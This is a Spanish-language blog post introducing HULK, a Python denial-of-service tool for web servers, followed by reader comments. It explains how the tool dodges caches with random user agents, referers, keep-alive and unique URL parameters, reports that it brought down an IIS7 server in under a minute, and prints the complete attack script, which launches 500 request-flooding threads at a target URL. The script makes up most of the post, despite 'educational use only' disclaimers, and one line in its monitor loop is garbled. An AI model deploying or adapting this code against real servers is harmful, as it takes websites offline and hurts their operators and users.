HULK, una herramienta DoS para servidores web

La mayoría de las herramientas DoS comparten un problema... crean patrones repetibles, demasiado fáciles de predecir y, por lo tanto, permiten mitigar sus efectos.

HULK (Http Unbearable Load King) es una sencilla herramienta DoS escrita en Python cuyo principal objetivo es generar peticiones únicas para evitar/evadir motores de caché e incidir directamente en la carga del servidor. Las principales técnicas que utiliza son las siguientes:

- Ofuscación del origen: cada petición del cliente se envía con un agente de usuario distinto seleccionado aleatoriamente de una lista.

- Falsificación de referencias: el referer que incluye la petición está ofuscado y apunta hacia el mismo servidor objetivo u otros sitios web conocidos.

- Adhesión: utiliza comandos estándar HTTP para tratar de hacer que el servidor mantenga las conexiones abiertas mediante el uso de Keep-Alive con una ventana de tiempo variable.

- no-cache: se solicita al servidor HTTP no-cache para obtener una página única.

- Transformación de URL única: para evitar la caché y otras herramientas de optimización, se utilizan nombres de parámetros y valores aleatoriamente en cada petición, lo que hace que cada petición sea única y que el servidor tenga que procesarla en cada caso.


Resultados

El autor Barry Shteiman comenta que ha realizado pruebas contra un servidor web con 4GB de RAM y Microsoft IIS7 y fue capaz de tirarlo en menos de un minuto, lanzando todas las peticiones desde un único host.

En las siguientes imágenes se puede ver la herramienta en acción donde, en la primera (#1), se ejecuta contra una URL y a continuación comienza a generar una carga de solicitudes únicas y las envía hacia el servidor objetivo (host de la URL) y, en segundo lugar (#2), podemos ver que el servidor en algún momento empieza a dejar de responder ya que ha agotado su fondo de recursos.



 
nota: el parámetro opcional "safe" significa matar el proceso cuando los hilos consigan un error 500.

Descarga


Fichero : hulk.py ( fichero zip)
# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author :  Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------
import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
    global request_counter
    request_counter+=1

def set_flag(val):
    global flag
    flag=val

def set_safe():
    global safe
    safe=1
    
# generates a user agent array
def useragent_list():
    global headers_useragents
    headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
    headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
    return(headers_useragents)

# generates a referer array
def referer_list():
    global headers_referers
    headers_referers.append('http://www.google.com/?q=')
    headers_referers.append('http://www.usatoday.com/search/results?q=')
    headers_referers.append('http://engadget.search.aol.com/search?q=')
    headers_referers.append('http://' + host + '/')
    return(headers_referers)
    
#builds random ascii string
def buildblock(size):
    out_str = ''
    for i in range(0, size):
        a = random.randint(65, 90)
        out_str += chr(a)
    return(out_str)

def usage():
    print '---------------------------------------------------'
    print 'USAGE: python hulk.py '
    print 'you can add "safe" after url, to autoshut after dos'
    print '---------------------------------------------------'

    
#http request
def httpcall(url):
    useragent_list()
    referer_list()
    code=0
    if url.count("?")>0:
        param_joiner="&"
    else:
        param_joiner="?"
    request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
    request.add_header('User-Agent', random.choice(headers_useragents))
    request.add_header('Cache-Control', 'no-cache')
    request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
    request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
    request.add_header('Keep-Alive', random.randint(110,120))
    request.add_header('Connection', 'keep-alive')
    request.add_header('Host',host)
    try:
            urllib2.urlopen(request)
    except urllib2.HTTPError, e:
            #print e.code
            set_flag(1)
            print 'Response Code 500'
            code=500
    except urllib2.URLError, e:
            #print e.reason
            sys.exit()
    else:
            inc_counter()
            urllib2.urlopen(request)
    return(code)        

    
#http caller thread 
class HTTPThread(threading.Thread):
    def run(self):
        try:
            while flag<2:
                code=httpcall(url)
                if (code==500) & (safe==1):
                    set_flag(2)
        except Exception, ex:
            pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
    def run(self):
        previous=request_counter
        while flag==0:
            if (previous+100request_counter):
                print "%d Requests Sent" % (request_counter)
                previous=request_counter
        if flag==2:
            print "\n-- HULK Attack Finished --"

#execute 
if len(sys.argv) < 2:
    usage()
    sys.exit()
else:
    if sys.argv[1]=="help":
        usage()
        sys.exit()
    else:
        print "-- HULK Attack Started --"
        if len(sys.argv)== 3:
            if sys.argv[2]=="safe":
                set_safe()
        url = sys.argv[1]
        if url.count("/")==2:
            url = url + "/"
        m = re.search('http\://([^/]*)/?.*', url)
        host = m.group(1)
        for i in range(500):
            t = HTTPThread()
            t.start()
        t = MonitorThread()
        t.start() 

Esta herramienta está pensada para propósitos educativos solamente y no debe ser utilizada para ninguna actividad maliciosa.


Fuente: HULK, Web Server DoS Tool | SECTORIX

4 comentarios :

  1. Hi,

    im the author of Hulk. thanks for the translation :)

    ResponderEliminar
  2. Buen trabajo, mantenga el desarrollo es una buena herramienta para estudiarla a fondo. Gracias

    Good job Barry Shteiman, keep development is a good tool to study it thoroughly. Thanks

    ResponderEliminar
  3. No soy un experto en python pero cabe destacar que el script no funciona bajo la versión estable más actual, la 3.2. Bajo la 2.7 funciona sin problemas :)

    Congratulations to Barry for the good work!

    ResponderEliminar